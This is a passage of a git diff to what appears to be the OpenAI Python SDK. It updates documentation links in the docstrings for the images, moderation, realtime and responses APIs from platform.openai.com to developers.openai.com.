characters for `dall-e-3`.
stream: Generate the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
background: Allows to set transparency for the background of the generated image(s). Must be
@@ -1859,7 +1859,7 @@ async def generate(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -1903,7 +1903,7 @@ async def generate(
) -> ImagesResponse | AsyncStream[ImageGenStreamEvent]:
"""
Creates an image given a prompt.
- [Learn more](https://platform.openai.com/docs/guides/images).
+ [Learn more](https://developers.openai.com/api/docs/guides/images-vision).
Args:
prompt: A text description of the desired image(s). The maximum length is 32000
@@ -1911,7 +1911,7 @@ async def generate(
characters for `dall-e-3`.
stream: Generate the image in streaming mode. Defaults to `false`. See the
- [Image generation guide](https://platform.openai.com/docs/guides/image-generation)
+ [Image generation guide](https://developers.openai.com/api/docs/guides/image-generation)
for more information. This parameter is only supported for the GPT image models.
background: Allows to set transparency for the background of the generated image(s). Must be
@@ -1987,7 +1987,7 @@ async def generate(
user: A unique identifier representing your end-user, which can help OpenAI to monitor
and detect abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#end-user-ids).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
diff --git a/src/openai/resources/moderations.py b/src/openai/resources/moderations.py
index b29de575f2..763ac69c70 100644
--- a/src/openai/resources/moderations.py
+++ b/src/openai/resources/moderations.py
@@ -60,16 +60,17 @@ def create(
"""Classifies if text and/or image inputs are potentially harmful.
Learn more in
- the [moderation guide](https://platform.openai.com/docs/guides/moderation).
+ the
+ [moderation guide](https://developers.openai.com/api/docs/guides/moderation).
Args:
input: Input (or inputs) to classify. Can be a single string, an array of strings, or
an array of multi-modal input objects similar to other models.
model: The content moderation model you would like to use. Learn more in
- [the moderation guide](https://platform.openai.com/docs/guides/moderation), and
- learn about available models
- [here](https://platform.openai.com/docs/models#moderation).
+ [the moderation guide](https://developers.openai.com/api/docs/guides/moderation),
+ and learn about available models
+ [here](https://developers.openai.com/api/docs/guides/moderation).
extra_headers: Send extra headers
@@ -138,16 +139,17 @@ async def create(
"""Classifies if text and/or image inputs are potentially harmful.
Learn more in
- the [moderation guide](https://platform.openai.com/docs/guides/moderation).
+ the
+ [moderation guide](https://developers.openai.com/api/docs/guides/moderation).
Args:
input: Input (or inputs) to classify. Can be a single string, an array of strings, or
an array of multi-modal input objects similar to other models.
model: The content moderation model you would like to use. Learn more in
- [the moderation guide](https://platform.openai.com/docs/guides/moderation), and
- learn about available models
- [here](https://platform.openai.com/docs/models#moderation).
+ [the moderation guide](https://developers.openai.com/api/docs/guides/moderation),
+ and learn about available models
+ [here](https://developers.openai.com/api/docs/guides/moderation).
extra_headers: Send extra headers
diff --git a/src/openai/resources/realtime/calls.py b/src/openai/resources/realtime/calls.py
index 09b81af264..b008491507 100644
--- a/src/openai/resources/realtime/calls.py
+++ b/src/openai/resources/realtime/calls.py
@@ -217,7 +217,7 @@ def accept(
reasoning Realtime models such as `gpt-realtime-2`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
reasoning: Configuration for reasoning-capable Realtime models such as `gpt-realtime-2`.
@@ -597,7 +597,7 @@ async def accept(
reasoning Realtime models such as `gpt-realtime-2`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
reasoning: Configuration for reasoning-capable Realtime models such as `gpt-realtime-2`.
diff --git a/src/openai/resources/realtime/client_secrets.py b/src/openai/resources/realtime/client_secrets.py
index 77c2753cdd..cca15b128c 100644
--- a/src/openai/resources/realtime/client_secrets.py
+++ b/src/openai/resources/realtime/client_secrets.py
@@ -61,7 +61,7 @@ def create(
will be applied to any sessions created using that client secret, but these can
also be overridden by the client connection.
- [Learn more about authentication with client secrets over WebRTC](https://platform.openai.com/docs/guides/realtime-webrtc).
+ [Learn more about authentication with client secrets over WebRTC](https://developers.openai.com/api/docs/guides/realtime-webrtc).
Returns the created client secret and the effective session object. The client
secret is a string that looks like `ek_1234`.
@@ -147,7 +147,7 @@ async def create(
will be applied to any sessions created using that client secret, but these can
also be overridden by the client connection.
- [Learn more about authentication with client secrets over WebRTC](https://platform.openai.com/docs/guides/realtime-webrtc).
+ [Learn more about authentication with client secrets over WebRTC](https://developers.openai.com/api/docs/guides/realtime-webrtc).
Returns the created client secret and the effective session object. The client
secret is a string that looks like `ek_1234`.
diff --git a/src/openai/resources/realtime/realtime.py b/src/openai/resources/realtime/realtime.py
index f94000c978..f82044055e 100644
--- a/src/openai/resources/realtime/realtime.py
+++ b/src/openai/resources/realtime/realtime.py
@@ -1476,7 +1476,7 @@ def clear(self, *, event_id: str | Omit = omit) -> None:
stop generating audio and emit a `output_audio_buffer.cleared` event. This
event should be preceded by a `response.cancel` client event to stop the
generation of the current response.
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
"""
self._connection.send(
cast(RealtimeClientEventParam, strip_not_given({"type": "output_audio_buffer.clear", "event_id": event_id}))
@@ -1713,7 +1713,7 @@ async def clear(self, *, event_id: str | Omit = omit) -> None:
stop generating audio and emit a `output_audio_buffer.cleared` event. This
event should be preceded by a `response.cancel` client event to stop the
generation of the current response.
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
"""
await self._connection.send(
cast(RealtimeClientEventParam, strip_not_given({"type": "output_audio_buffer.clear", "event_id": event_id}))
diff --git a/src/openai/resources/responses/input_tokens.py b/src/openai/resources/responses/input_tokens.py
index d9f0cca458..7487014393 100644
--- a/src/openai/resources/responses/input_tokens.py
+++ b/src/openai/resources/responses/input_tokens.py
@@ -87,8 +87,8 @@ def count(
model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
wide range of models with different capabilities, performance characteristics,
and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
parallel_tool_calls: Whether to allow the model to run tool calls in parallel.
@@ -98,17 +98,17 @@ def count(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
reasoning: **gpt-5 and o-series models only** Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: Controls which tool the model should use, if any.
@@ -223,8 +223,8 @@ async def count(
model: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a
wide range of models with different capabilities, performance characteristics,
and price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
parallel_tool_calls: Whether to allow the model to run tool calls in parallel.
@@ -234,17 +234,17 @@ async def count(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
reasoning: **gpt-5 and o-series models only** Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: Controls which tool the model should use, if any.
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 1cb35e2371..022d1f7985 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -175,20 +175,20 @@ def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -220,11 +220,11 @@ def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -234,7 +234,7 @@ def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -251,8 +251,8 @@ def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -260,15 +260,15 @@ def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -277,7 +277,7 @@ def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -285,7 +285,7 @@ def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -299,14 +299,14 @@ def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -315,13 +315,15 @@ def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -336,13 +338,13 @@ def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -355,8 +357,8 @@ def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -369,17 +371,18 @@ def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -404,7 +407,7 @@ def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -461,27 +464,27 @@ def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -513,11 +516,11 @@ def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -527,7 +530,7 @@ def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -544,8 +547,8 @@ def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -553,15 +556,15 @@ def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -570,7 +573,7 @@ def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -578,7 +581,7 @@ def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -592,14 +595,14 @@ def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -608,13 +611,15 @@ def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -629,7 +634,7 @@ def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -641,8 +646,8 @@ def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -655,17 +660,18 @@ def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -690,7 +696,7 @@ def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -747,27 +753,27 @@ def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -799,11 +805,11 @@ def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -813,7 +819,7 @@ def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -830,8 +836,8 @@ def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
